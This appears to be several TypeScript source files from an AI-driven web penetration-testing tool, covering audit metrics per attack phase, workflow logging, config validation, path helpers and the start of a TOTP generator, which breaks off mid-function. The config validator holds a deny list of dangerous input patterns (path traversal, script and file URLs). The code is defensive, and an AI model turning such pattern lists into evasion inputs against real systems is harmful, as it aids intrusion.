// Calculate total duration and cost
const totalDuration = successfulAgents.reduce((sum, [, data]) => sum + data.final_duration_ms, 0);
const totalCost = successfulAgents.reduce((sum, [, data]) => sum + data.total_cost_usd, 0);
this.data.metrics.total_duration_ms = totalDuration;
this.data.metrics.total_cost_usd = totalCost;
// Calculate phase-level metrics
this.data.metrics.phases = this.calculatePhaseMetrics(successfulAgents);
}
/**
* Calculate phase-level metrics
*/
private calculatePhaseMetrics(successfulAgents: Array<[string, AgentAuditMetrics]>): Record<string, PhaseMetrics> {
const phases: Record<PhaseName, AgentAuditMetrics[]> = {
'pre-recon': [],
recon: [],
'vulnerability-analysis': [],
exploitation: [],
reporting: [],
};
// Group agents by phase using imported AGENT_PHASE_MAP
for (const [agentName, agentData] of successfulAgents) {
const phase = AGENT_PHASE_MAP[agentName as AgentName];
if (phase) {
phases[phase].push(agentData);
}
}
// Calculate metrics per phase
const phaseMetrics: Record<string, PhaseMetrics> = {};
// biome-ignore lint/style/noNonNullAssertion: called from recalculateAggregations which guards this.data
const totalDuration = this.data!.metrics.total_duration_ms;
for (const [phaseName, agentList] of Object.entries(phases)) {
if (agentList.length === 0) continue;
const phaseDuration = agentList.reduce((sum, agent) => sum + agent.final_duration_ms, 0);
const phaseCost = agentList.reduce((sum, agent) => sum + agent.total_cost_usd, 0);
phaseMetrics[phaseName] = {
duration_ms: phaseDuration,
duration_percentage: calculatePercentage(phaseDuration, totalDuration),
cost_usd: phaseCost,
agent_count: agentList.length,
};
}
return phaseMetrics;
}
/**
* Get current metrics
*/
getMetrics(): SessionData {
return JSON.parse(JSON.stringify(this.data)) as SessionData;
}
/**
* Save metrics to session.json (atomic write)
*/
private async save(): Promise<void> {
if (!this.data) return;
await atomicWrite(this.sessionJsonPath, this.data);
}
/**
* Reload metrics from disk
*/
async reload(): Promise<void> {
this.data = await readJson<SessionData>(this.sessionJsonPath);
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Audit System Utilities
*
* Core utility functions for path generation, atomic writes, and formatting.
* All functions are pure and crash-safe.
*/
import fs from 'node:fs/promises';
import path from 'node:path';
import { WORKSPACES_DIR } from '../paths.js';
import { ensureDirectory } from '../utils/file-io.js';
export type { SessionMetadata } from '../types/audit.js';
import type { SessionMetadata } from '../types/audit.js';
/**
* Extract and sanitize hostname from URL for use in identifiers
*/
export function sanitizeHostname(url: string): string {
return new URL(url).hostname.replace(/[^a-zA-Z0-9-]/g, '-');
}
/**
* Generate standardized session identifier from workflow ID
* Workflow IDs already contain hostname, so we use them directly
*/
export function generateSessionIdentifier(sessionMetadata: SessionMetadata): string {
return sessionMetadata.id;
}
/**
* Generate path to audit log directory for a session
* Uses custom outputPath if provided, otherwise defaults to WORKSPACES_DIR
*/
export function generateAuditPath(sessionMetadata: SessionMetadata): string {
const sessionIdentifier = generateSessionIdentifier(sessionMetadata);
const baseDir = sessionMetadata.outputPath || WORKSPACES_DIR;
return path.join(baseDir, sessionIdentifier);
}
/**
* Generate path to agent log file
*/
export function generateLogPath(
sessionMetadata: SessionMetadata,
agentName: string,
timestamp: number,
attemptNumber: number,
): string {
const auditPath = generateAuditPath(sessionMetadata);
const filename = `${timestamp}_${agentName}_attempt-${attemptNumber}.log`;
return path.join(auditPath, 'agents', filename);
}
/**
* Generate path to prompt snapshot file
*/
export function generatePromptPath(sessionMetadata: SessionMetadata, agentName: string): string {
const auditPath = generateAuditPath(sessionMetadata);
return path.join(auditPath, 'prompts', `${agentName}.md`);
}
/**
* Generate path to session.json file
*/
export function generateSessionJsonPath(sessionMetadata: SessionMetadata): string {
const auditPath = generateAuditPath(sessionMetadata);
return path.join(auditPath, 'session.json');
}
/**
* Generate path to workflow.log file
*/
export function generateWorkflowLogPath(sessionMetadata: SessionMetadata): string {
const auditPath = generateAuditPath(sessionMetadata);
return path.join(auditPath, 'workflow.log');
}
/**
* Initialize audit directory structure for a session
* Creates: workspaces/{sessionId}/, agents/, prompts/, deliverables/
*/
export async function initializeAuditStructure(sessionMetadata: SessionMetadata): Promise<void> {
const auditPath = generateAuditPath(sessionMetadata);
const agentsPath = path.join(auditPath, 'agents');
const promptsPath = path.join(auditPath, 'prompts');
const deliverablesPath = path.join(auditPath, 'deliverables');
await ensureDirectory(auditPath);
await ensureDirectory(agentsPath);
await ensureDirectory(promptsPath);
await ensureDirectory(deliverablesPath);
}
/**
* Copy deliverable files from repo to workspaces for self-contained audit trail.
* No-ops if source directory doesn't exist. Idempotent and parallel-safe.
*/
export async function copyDeliverablesToAudit(sessionMetadata: SessionMetadata, repoPath: string): Promise<void> {
const sourceDir = path.join(repoPath, 'deliverables');
const destDir = path.join(generateAuditPath(sessionMetadata), 'deliverables');
let entries: string[];
try {
entries = await fs.readdir(sourceDir);
} catch {
// Source directory doesn't exist yet — nothing to copy
return;
}
await ensureDirectory(destDir);
for (const entry of entries) {
const sourcePath = path.join(sourceDir, entry);
const destPath = path.join(destDir, entry);
// Only copy files, skip subdirectories
const stat = await fs.stat(sourcePath);
if (stat.isFile()) {
await fs.copyFile(sourcePath, destPath);
}
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* Workflow Logger
*
* Provides a unified, human-readable log file per workflow.
* Optimized for `tail -f` viewing during concurrent workflow execution.
*/
import fs from 'node:fs/promises';
import { formatDuration, formatTimestamp } from '../utils/formatting.js';
import { LogStream } from './log-stream.js';
import { generateWorkflowLogPath, type SessionMetadata } from './utils.js';
export interface AgentLogDetails {
attemptNumber?: number;
duration_ms?: number;
cost_usd?: number;
success?: boolean;
error?: string;
}
export interface AgentMetricsSummary {
durationMs: number;
costUsd: number | null;
}
export interface WorkflowSummary {
status: 'completed' | 'failed';
totalDurationMs: number;
totalCostUsd: number;
completedAgents: string[];
agentMetrics: Record<string, AgentMetricsSummary>;
error?: string;
}
/**
* WorkflowLogger - Manages the unified workflow log file
*/
export class WorkflowLogger {
private readonly sessionMetadata: SessionMetadata;
private readonly logStream: LogStream;
private workflowId: string | undefined;
constructor(sessionMetadata: SessionMetadata) {
this.sessionMetadata = sessionMetadata;
const logPath = generateWorkflowLogPath(sessionMetadata);
this.logStream = new LogStream(logPath);
}
/**
* Initialize the log stream (creates file and writes header)
*/
async initialize(workflowId?: string): Promise<void> {
if (workflowId) {
this.workflowId = workflowId;
}
if (this.logStream.isOpen) {
return;
}
await this.logStream.open();
// Write header only if file is new (empty)
const stats = await fs.stat(this.logStream.path).catch(() => null);
if (!stats || stats.size === 0) {
await this.writeHeader();
}
}
/**
* Write header to log file
*/
private async writeHeader(): Promise<void> {
const header = [
`================================================================================`,
`Shannon Pentest - Workflow Log`,
`================================================================================`,
`Workflow ID: ${this.workflowId ?? this.sessionMetadata.id}`,
`Target URL: ${this.sessionMetadata.webUrl}`,
`Started: ${formatTimestamp()}`,
`================================================================================`,
``,
].join('\n');
return this.logStream.write(header);
}
/**
* Write resume header to log file when workflow is resumed
*/
async logResumeHeader(resumeInfo: {
previousWorkflowId: string;
newWorkflowId: string;
checkpointHash: string;
completedAgents: string[];
}): Promise<void> {
await this.ensureInitialized();
const header = [
``,
`================================================================================`,
`RESUMED`,
`================================================================================`,
`Previous Workflow ID: ${resumeInfo.previousWorkflowId}`,
`New Workflow ID: ${resumeInfo.newWorkflowId}`,
`Resumed At: ${formatTimestamp()}`,
`Checkpoint: ${resumeInfo.checkpointHash}`,
`Completed: ${resumeInfo.completedAgents.length} agents (${resumeInfo.completedAgents.join(', ')})`,
`================================================================================`,
``,
].join('\n');
return this.logStream.write(header);
}
/**
* Format timestamp for log line (local time, human readable)
*/
private formatLogTime(): string {
const now = new Date();
return now.toISOString().replace('T', ' ').slice(0, 19);
}
/**
* Log a phase transition event
*/
async logPhase(phase: string, event: 'start' | 'complete'): Promise<void> {
await this.ensureInitialized();
const action = event === 'start' ? 'Starting' : 'Completed';
const line = `[${this.formatLogTime()}] [PHASE] ${action}: ${phase}\n`;
// Add blank line before phase start for readability
if (event === 'start') {
await this.logStream.write('\n');
}
await this.logStream.write(line);
}
/**
* Log an agent event
*/
async logAgent(agentName: string, event: 'start' | 'end', details?: AgentLogDetails): Promise<void> {
await this.ensureInitialized();
let message: string;
if (event === 'start') {
const attempt = details?.attemptNumber ?? 1;
message = `${agentName}: Starting (attempt ${attempt})`;
} else {
const parts: string[] = [`${agentName}:`];
if (details?.success === false) {
parts.push('Failed');
if (details?.error) {
parts.push(`- ${details.error}`);
}
} else {
parts.push('Completed');
}
if (details?.duration_ms !== undefined) {
parts.push(`(${formatDuration(details.duration_ms)}`);
if (details?.cost_usd !== undefined) {
parts.push(`$${details.cost_usd.toFixed(2)})`);
} else {
parts.push(')');
}
}
message = parts.join(' ');
}
const line = `[${this.formatLogTime()}] [AGENT] ${message}\n`;
await this.logStream.write(line);
}
/**
* Log a general event
*/
async logEvent(eventType: string, message: string): Promise<void> {
await this.ensureInitialized();
const line = `[${this.formatLogTime()}] [${eventType.toUpperCase()}] ${message}\n`;
await this.logStream.write(line);
}
/**
* Log an error
*/
async logError(error: Error, context?: string): Promise<void> {
await this.ensureInitialized();
const contextStr = context ? ` (${context})` : '';
const line = `[${this.formatLogTime()}] [ERROR] ${error.message}${contextStr}\n`;
await this.logStream.write(line);
}
/**
* Truncate string to max length with ellipsis
*/
private truncate(str: string, maxLen: number): string {
if (str.length <= maxLen) return str;
return `${str.slice(0, maxLen - 3)}...`;
}
/**
* Format tool parameters for human-readable display
*/
private formatToolParams(toolName: string, params: unknown): string {
if (!params || typeof params !== 'object') {
return '';
}
const p = params as Record<string, unknown>;
// Tool-specific formatting for common tools
switch (toolName) {
case 'Bash':
if (p.command) {
return this.truncate(String(p.command).replace(/\n/g, ' '), 100);
}
break;
case 'Read':
if (p.file_path) {
return String(p.file_path);
}
break;
case 'Write':
if (p.file_path) {
return String(p.file_path);
}
break;
case 'Edit':
if (p.file_path) {
return String(p.file_path);
}
break;
case 'Glob':
if (p.pattern) {
return String(p.pattern);
}
break;
case 'Grep':
if (p.pattern) {
const path = p.path ? ` in ${p.path}` : '';
return `"${this.truncate(String(p.pattern), 50)}"${path}`;
}
break;
case 'WebFetch':
if (p.url) {
return String(p.url);
}
break;
}
// Default: show first string-valued param truncated
for (const [key, val] of Object.entries(p)) {
if (typeof val === 'string' && val.length > 0) {
return `${key}=${this.truncate(val, 60)}`;
}
}
return '';
}
/**
* Log tool start event
*/
async logToolStart(agentName: string, toolName: string, parameters: unknown): Promise<void> {
await this.ensureInitialized();
const params = this.formatToolParams(toolName, parameters);
const paramStr = params ? `: ${params}` : '';
const line = `[${this.formatLogTime()}] [${agentName}] [TOOL] ${toolName}${paramStr}\n`;
await this.logStream.write(line);
}
/**
* Log LLM response
*/
async logLlmResponse(agentName: string, turn: number, content: string): Promise<void> {
await this.ensureInitialized();
// Show full content, replacing newlines with escaped version for single-line output
const escaped = content.replace(/\n/g, '\\n');
const line = `[${this.formatLogTime()}] [${agentName}] [LLM] Turn ${turn}: ${escaped}\n`;
await this.logStream.write(line);
}
/**
* Format a pipe-delimited error string into indented multi-line display.
*
* Input: "phase context|ErrorType|message|Hint: ..."
* Output: "Error: phase context\n ErrorType\n ..."
*/
private formatErrorBlock(errorString: string): string {
const segments = errorString.split('|');
const label = 'Error: ';
const indent = ' '.repeat(label.length);
const lines = segments.map((segment, i) => (i === 0 ? `${label}${segment.trim()}` : `${indent}${segment.trim()}`));
return `${lines.join('\n')}\n`;
}
/**
* Log workflow completion with full summary
*/
async logWorkflowComplete(summary: WorkflowSummary): Promise<void> {
await this.ensureInitialized();
const status = summary.status === 'completed' ? 'COMPLETED' : 'FAILED';
const lines: string[] = [
'',
'================================================================================',
`Workflow ${status}`,
'────────────────────────────────────────',
`Workflow ID: ${this.workflowId ?? this.sessionMetadata.id}`,
`Status: ${summary.status}`,
`Duration: ${formatDuration(summary.totalDurationMs)}`,
`Total Cost: $${summary.totalCostUsd.toFixed(4)}`,
`Agents: ${summary.completedAgents.length} completed`,
];
if (summary.error) {
lines.push(this.formatErrorBlock(summary.error).trimEnd());
}
lines.push('');
lines.push('Agent Breakdown:');
for (const agentName of summary.completedAgents) {
const metrics = summary.agentMetrics[agentName];
if (metrics) {
const duration = formatDuration(metrics.durationMs);
const cost = metrics.costUsd !== null ? `$${metrics.costUsd.toFixed(4)}` : 'N/A';
lines.push(` - ${agentName} (${duration}, ${cost})`);
} else {
lines.push(` - ${agentName}`);
}
}
lines.push('================================================================================');
// Single atomic write to prevent interleaved/duplicate output in log tailers
await this.logStream.write(`${lines.join('\n')}\n`);
}
/**
* Ensure initialized (helper for lazy initialization)
*/
private async ensureInitialized(): Promise<void> {
if (!this.logStream.isOpen) {
await this.initialize();
}
}
/**
* Close the log stream
*/
async close(): Promise<void> {
return this.logStream.close();
}
}
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
import { createRequire } from 'node:module';
import { Ajv, type ErrorObject, type ValidateFunction } from 'ajv';
import type { FormatsPlugin } from 'ajv-formats';
import yaml from 'js-yaml';
import { fs } from 'zx';
import { PentestError } from './services/error-handling.js';
import type { Authentication, Config, DistributedConfig, Rule } from './types/config.js';
import { ErrorCode } from './types/errors.js';
// Handle ESM/CJS interop for ajv-formats using require
const require = createRequire(import.meta.url);
const addFormats: FormatsPlugin = require('ajv-formats');
const ajv = new Ajv({ allErrors: true, verbose: true });
addFormats(ajv);
let configSchema: object;
let validateSchema: ValidateFunction;
try {
const schemaPath = new URL('../configs/config-schema.json', import.meta.url);
const schemaContent = await fs.readFile(schemaPath, 'utf8');
configSchema = JSON.parse(schemaContent) as object;
validateSchema = ajv.compile(configSchema);
} catch (error) {
const errMsg = error instanceof Error ? error.message : String(error);
throw new PentestError(`Failed to load configuration schema: ${errMsg}`, 'config', false, {
schemaPath: '../configs/config-schema.json',
originalError: errMsg,
});
}
const DANGEROUS_PATTERNS: RegExp[] = [
/\.\.\//, // Path traversal
/[<>]/, // HTML/XML injection
/javascript:/i, // JavaScript URLs
/data:/i, // Data URLs
/file:/i, // File URLs
];
/**
* Format a single AJV error into a human-readable message.
* Translates AJV error keywords into plain English descriptions.
*/
function formatAjvError(error: ErrorObject): string {
const path = error.instancePath || 'root';
const params = error.params as Record<string, unknown>;
switch (error.keyword) {
case 'required': {
const missingProperty = params.missingProperty as string;
return `Missing required field: "${missingProperty}" at ${path || 'root'}`;
}
case 'type': {
const expectedType = params.type as string;
return `Invalid type at ${path}: expected ${expectedType}`;
}
case 'enum': {
const allowedValues = params.allowedValues as unknown[];
const formattedValues = allowedValues.map((v) => `"${v}"`).join(', ');
return `Invalid value at ${path}: must be one of [${formattedValues}]`;
}
case 'additionalProperties': {
const additionalProperty = params.additionalProperty as string;
return `Unknown field at ${path}: "${additionalProperty}" is not allowed`;
}
case 'minLength': {
const limit = params.limit as number;
return `Value at ${path} is too short: must have at least ${limit} character(s)`;
}
case 'maxLength': {
const limit = params.limit as number;
return `Value at ${path} is too long: must have at most ${limit} character(s)`;
}
case 'minimum': {
const limit = params.limit as number;
return `Value at ${path} is too small: must be >= ${limit}`;
}
case 'maximum': {
const limit = params.limit as number;
return `Value at ${path} is too large: must be <= ${limit}`;
}
case 'minItems': {
const limit = params.limit as number;
return `Array at ${path} has too few items: must have at least ${limit} item(s)`;
}
case 'maxItems': {
const limit = params.limit as number;
return `Array at ${path} has too many items: must have at most ${limit} item(s)`;
}
case 'pattern': {
const pattern = params.pattern as string;
return `Value at ${path} does not match required pattern: ${pattern}`;
}
case 'format': {
const format = params.format as string;
return `Value at ${path} must be a valid ${format}`;
}
case 'const': {
const allowedValue = params.allowedValue as unknown;
return `Value at ${path} must be exactly "${allowedValue}"`;
}
case 'oneOf': {
return `Value at ${path} must match exactly one schema (matched ${params.passingSchemas ?? 0})`;
}
case 'anyOf': {
return `Value at ${path} must match at least one of the allowed schemas`;
}
case 'not': {
return `Value at ${path} matches a schema it should not match`;
}
case 'if': {
return `Value at ${path} does not satisfy conditional schema requirements`;
}
case 'uniqueItems': {
const i = params.i as number;
const j = params.j as number;
return `Array at ${path} contains duplicate items at positions ${j} and ${i}`;
}
case 'propertyNames': {
const propertyName = params.propertyName as string;
return `Invalid property name at ${path}: "${propertyName}" does not match naming requirements`;
}
case 'dependencies':
case 'dependentRequired': {
const property = params.property as string;
const missingProperty = params.missingProperty as string;
return `Missing dependent field at ${path}: "${missingProperty}" is required when "${property}" is present`;
}
default: {
// Fallback for any unhandled keywords - use AJV's message if available
const message = error.message || `validation failed for keyword "${error.keyword}"`;
return `${path}: ${message}`;
}
}
}
/**
* Format all AJV errors into a list of human-readable messages.
* Returns an array of formatted error strings.
*/
function formatAjvErrors(errors: ErrorObject[]): string[] {
return errors.map(formatAjvError);
}
export const parseConfig = async (configPath: string): Promise<Config> => {
try {
// 1. Verify file exists
if (!(await fs.pathExists(configPath))) {
throw new PentestError(
`Configuration file not found: ${configPath}`,
'config',
false,
{ configPath },
ErrorCode.CONFIG_NOT_FOUND,
);
}
// 2. Check file size
const stats = await fs.stat(configPath);
const maxFileSize = 1024 * 1024; // 1MB
if (stats.size > maxFileSize) {
throw new PentestError(
`Configuration file too large: ${stats.size} bytes (maximum: ${maxFileSize} bytes)`,
'config',
false,
{ configPath, fileSize: stats.size, maxFileSize },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
// 3. Read and check for empty content
const configContent = await fs.readFile(configPath, 'utf8');
if (!configContent.trim()) {
throw new PentestError(
'Configuration file is empty',
'config',
false,
{ configPath },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
// 4. Parse YAML with safe schema
let config: unknown;
try {
config = yaml.load(configContent, {
schema: yaml.FAILSAFE_SCHEMA, // Only basic YAML types, no JS evaluation
json: false, // Don't allow JSON-specific syntax
filename: configPath,
});
} catch (yamlError) {
const errMsg = yamlError instanceof Error ? yamlError.message : String(yamlError);
throw new PentestError(
`YAML parsing failed: ${errMsg}`,
'config',
false,
{ configPath, originalError: errMsg },
ErrorCode.CONFIG_PARSE_ERROR,
);
}
// 5. Guard against null/undefined parse result
if (config === null || config === undefined) {
throw new PentestError(
'Configuration file resulted in null/undefined after parsing',
'config',
false,
{ configPath },
ErrorCode.CONFIG_PARSE_ERROR,
);
}
// 6. Validate schema, security rules, and return
validateConfig(config as Config);
return config as Config;
} catch (error) {
// PentestError instances are already well-formatted, re-throw as-is
if (error instanceof PentestError) {
throw error;
}
const errMsg = error instanceof Error ? error.message : String(error);
throw new PentestError(
`Failed to parse configuration file '${configPath}': ${errMsg}`,
'config',
false,
{ configPath, originalError: errMsg },
ErrorCode.CONFIG_PARSE_ERROR,
);
}
};
const validateConfig = (config: Config): void => {
if (!config || typeof config !== 'object') {
throw new PentestError(
'Configuration must be a valid object',
'config',
false,
{},
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
if (Array.isArray(config)) {
throw new PentestError(
'Configuration must be an object, not an array',
'config',
false,
{},
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
const isValid = validateSchema(config);
if (!isValid) {
const errors = validateSchema.errors || [];
const errorMessages = formatAjvErrors(errors);
throw new PentestError(
`Configuration validation failed:\n - ${errorMessages.join('\n - ')}`,
'config',
false,
{ validationErrors: errorMessages },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
performSecurityValidation(config);
if (!config.rules && !config.authentication && !config.description) {
console.warn(
'⚠️ Configuration file contains no rules, authentication, or description. The pentest will run without any scoping restrictions or login capabilities.',
);
} else if (config.rules && !config.rules.avoid && !config.rules.focus) {
console.warn('⚠️ Configuration file contains no rules. The pentest will run without any scoping restrictions.');
}
};
const performSecurityValidation = (config: Config): void => {
if (config.authentication) {
const auth = config.authentication;
// Check login_url for dangerous patterns (AJV's "uri" format allows javascript: per RFC 3986)
if (auth.login_url) {
for (const pattern of DANGEROUS_PATTERNS) {
if (pattern.test(auth.login_url)) {
throw new PentestError(
`authentication.login_url contains potentially dangerous pattern: ${pattern.source}`,
'config',
false,
{ field: 'login_url', pattern: pattern.source },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
}
}
if (auth.credentials) {
for (const pattern of DANGEROUS_PATTERNS) {
if (pattern.test(auth.credentials.username)) {
throw new PentestError(
`authentication.credentials.username contains potentially dangerous pattern: ${pattern.source}`,
'config',
false,
{ field: 'credentials.username', pattern: pattern.source },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
if (pattern.test(auth.credentials.password)) {
throw new PentestError(
`authentication.credentials.password contains potentially dangerous pattern: ${pattern.source}`,
'config',
false,
{ field: 'credentials.password', pattern: pattern.source },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
}
}
if (auth.login_flow) {
auth.login_flow.forEach((step, index) => {
for (const pattern of DANGEROUS_PATTERNS) {
if (pattern.test(step)) {
throw new PentestError(
`authentication.login_flow[${index}] contains potentially dangerous pattern: ${pattern.source}`,
'config',
false,
{ field: `login_flow[${index}]`, pattern: pattern.source },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
}
});
}
}
if (config.rules) {
validateRulesSecurity(config.rules.avoid, 'avoid');
validateRulesSecurity(config.rules.focus, 'focus');
checkForDuplicates(config.rules.avoid || [], 'avoid');
checkForDuplicates(config.rules.focus || [], 'focus');
checkForConflicts(config.rules.avoid, config.rules.focus);
}
if (config.description) {
for (const pattern of DANGEROUS_PATTERNS) {
if (pattern.test(config.description)) {
throw new PentestError(
`description contains potentially dangerous pattern: ${pattern.source}`,
'config',
false,
{ field: 'description', pattern: pattern.source },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
}
}
};
const validateRulesSecurity = (rules: Rule[] | undefined, ruleType: string): void => {
if (!rules) return;
rules.forEach((rule, index) => {
for (const pattern of DANGEROUS_PATTERNS) {
if (pattern.test(rule.url_path)) {
throw new PentestError(
`rules.${ruleType}[${index}].url_path contains potentially dangerous pattern: ${pattern.source}`,
'config',
false,
{ field: `rules.${ruleType}[${index}].url_path`, pattern: pattern.source },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
if (pattern.test(rule.description)) {
throw new PentestError(
`rules.${ruleType}[${index}].description contains potentially dangerous pattern: ${pattern.source}`,
'config',
false,
{ field: `rules.${ruleType}[${index}].description`, pattern: pattern.source },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
}
validateRuleTypeSpecific(rule, ruleType, index);
});
};
const validateRuleTypeSpecific = (rule: Rule, ruleType: string, index: number): void => {
const field = `rules.${ruleType}[${index}].url_path`;
switch (rule.type) {
case 'path':
if (!rule.url_path.startsWith('/')) {
throw new PentestError(
`${field} for type 'path' must start with '/'`,
'config',
false,
{ field, ruleType: rule.type },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
break;
case 'subdomain':
case 'domain':
// Basic domain validation - no slashes allowed
if (rule.url_path.includes('/')) {
throw new PentestError(
`${field} for type '${rule.type}' cannot contain '/' characters`,
'config',
false,
{ field, ruleType: rule.type },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
// Must contain at least one dot for domains
if (rule.type === 'domain' && !rule.url_path.includes('.')) {
throw new PentestError(
`${field} for type 'domain' must be a valid domain name`,
'config',
false,
{ field, ruleType: rule.type },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
break;
case 'method': {
const allowedMethods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'HEAD', 'OPTIONS'];
if (!allowedMethods.includes(rule.url_path.toUpperCase())) {
throw new PentestError(
`${field} for type 'method' must be one of: ${allowedMethods.join(', ')}`,
'config',
false,
{ field, ruleType: rule.type, allowedMethods },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
break;
}
case 'header':
if (!rule.url_path.match(/^[a-zA-Z0-9\-_]+$/)) {
throw new PentestError(
`${field} for type 'header' must be a valid header name (alphanumeric, hyphens, underscores only)`,
'config',
false,
{ field, ruleType: rule.type },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
break;
case 'parameter':
if (!rule.url_path.match(/^[a-zA-Z0-9\-_]+$/)) {
throw new PentestError(
`${field} for type 'parameter' must be a valid parameter name (alphanumeric, hyphens, underscores only)`,
'config',
false,
{ field, ruleType: rule.type },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
break;
}
};
const checkForDuplicates = (rules: Rule[], ruleType: string): void => {
const seen = new Set<string>();
rules.forEach((rule, index) => {
const key = `${rule.type}:${rule.url_path}`;
if (seen.has(key)) {
throw new PentestError(
`Duplicate rule found in rules.${ruleType}[${index}]: ${rule.type} '${rule.url_path}'`,
'config',
false,
{ field: `rules.${ruleType}[${index}]`, ruleType: rule.type, urlPath: rule.url_path },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
seen.add(key);
});
};
const checkForConflicts = (avoidRules: Rule[] = [], focusRules: Rule[] = []): void => {
const avoidSet = new Set(avoidRules.map((rule) => `${rule.type}:${rule.url_path}`));
focusRules.forEach((rule, index) => {
const key = `${rule.type}:${rule.url_path}`;
if (avoidSet.has(key)) {
throw new PentestError(
`Conflicting rule found: rules.focus[${index}] '${rule.url_path}' also exists in rules.avoid`,
'config',
false,
{ field: `rules.focus[${index}]`, urlPath: rule.url_path },
ErrorCode.CONFIG_VALIDATION_FAILED,
);
}
});
};
const sanitizeRule = (rule: Rule): Rule => {
return {
description: rule.description.trim(),
type: rule.type.toLowerCase().trim() as Rule['type'],
url_path: rule.url_path.trim(),
};
};
export const distributeConfig = (config: Config | null): DistributedConfig => {
const avoid = config?.rules?.avoid || [];
const focus = config?.rules?.focus || [];
const authentication = config?.authentication || null;
const description = config?.description?.trim() || '';
return {
avoid: avoid.map(sanitizeRule),
focus: focus.map(sanitizeRule),
authentication: authentication ? sanitizeAuthentication(authentication) : null,
description,
};
};
const sanitizeAuthentication = (auth: Authentication): Authentication => {
return {
login_type: auth.login_type.toLowerCase().trim() as Authentication['login_type'],
login_url: auth.login_url.trim(),
credentials: {
username: auth.credentials.username.trim(),
password: auth.credentials.password,
...(auth.credentials.totp_secret && { totp_secret: auth.credentials.totp_secret.trim() }),
},
...(auth.login_flow && { login_flow: auth.login_flow.map((step) => step.trim()) }),
success_condition: {
type: auth.success_condition.type.toLowerCase().trim() as Authentication['success_condition']['type'],
value: auth.success_condition.value.trim(),
},
};
};
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/** Centralized path constants for the worker package */
import fs from 'node:fs';
import path from 'node:path';
/** Worker package root (apps/worker/) resolved from compiled dist/ files */
const WORKER_ROOT = path.resolve(import.meta.dirname, '..');
export const PROMPTS_DIR = path.join(WORKER_ROOT, 'prompts');
export const CONFIGS_DIR = path.join(WORKER_ROOT, 'configs');
/**
* Repository root — walk up from WORKER_ROOT looking for pnpm-workspace.yaml.
* Falls back to two levels up (apps/worker/ → repo root) if not found.
*/
function findRepoRoot(): string {
let dir = WORKER_ROOT;
for (let i = 0; i < 5; i++) {
if (fs.existsSync(path.join(dir, 'pnpm-workspace.yaml'))) {
return dir;
}
const parent = path.dirname(dir);
if (parent === dir) break;
dir = parent;
}
return path.resolve(WORKER_ROOT, '..', '..');
}
const REPO_ROOT = findRepoRoot();
export const WORKSPACES_DIR = path.join(REPO_ROOT, 'workspaces');
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// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
export class ProgressIndicator {
private message: string;
private frames: string[] = ['⠋', '⠙', '⠹', '⠸', '⠼', '⠴', '⠦', '⠧', '⠇', '⠏'];
private frameIndex: number = 0;
private interval: ReturnType<typeof setInterval> | null = null;
private isRunning: boolean = false;
constructor(message: string = 'Working...') {
this.message = message;
}
start(): void {
if (this.isRunning) return;
this.isRunning = true;
this.frameIndex = 0;
this.interval = setInterval(() => {
// Clear the line and write the spinner
process.stdout.write(`\r${this.frames[this.frameIndex]} ${this.message}`);
this.frameIndex = (this.frameIndex + 1) % this.frames.length;
}, 100);
}
stop(): void {
if (!this.isRunning) return;
if (this.interval) {
clearInterval(this.interval);
this.interval = null;
}
// Clear the spinner line
process.stdout.write(`\r${' '.repeat(this.message.length + 5)}\r`);
this.isRunning = false;
}
finish(successMessage: string = 'Complete'): void {
this.stop();
console.log(`${successMessage}`);
}
}
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#!/usr/bin/env node
// Copyright (C) 2025 Keygraph, Inc.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License version 3
// as published by the Free Software Foundation.
/**
* generate-totp CLI
*
* Generates 6-digit TOTP codes for authentication.
* Replaces the MCP generate_totp tool.
* Based on RFC 6238 (TOTP) and RFC 4226 (HOTP).
*
* Usage:
* generate-totp --secret JBSWY3DPEHPK3PXP
*/
import { createHmac } from 'node:crypto';
// === Base32 Decoding ===
function base32Decode(encoded: string): Buffer {
const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
const cleanInput = encoded.toUpperCase().replace(/[^A-Z2-7]/g, '');
if (cleanInput.length === 0) {
throw new Error('TOTP secret is empty after cleaning');
}
const output: number[] = [];
let bits = 0;
let value = 0;
for (const char of cleanInput) {
const index = alphabet.indexOf(char);
if (index === -1) {
throw new Error(`Invalid base32 character: ${char}`);
}
value = (value << 5) | index;
bits += 5;
if (bits >= 8) {
output.push((value >>> (bits - 8)) & 255);
bits -= 8;
}
}
return Buffer.from(output);
}
// === TOTP Generation (RFC 6238) ===
function generateHOTP(secret: string, counter: number, digits: number = 6): string {
const key = base32Decode(secret);
// Convert counter to 8-byte buffer (big-endian)
const counterBuffer = Buffer.alloc(8);
counterBuffer.writeBigUInt64BE(BigInt(counter));
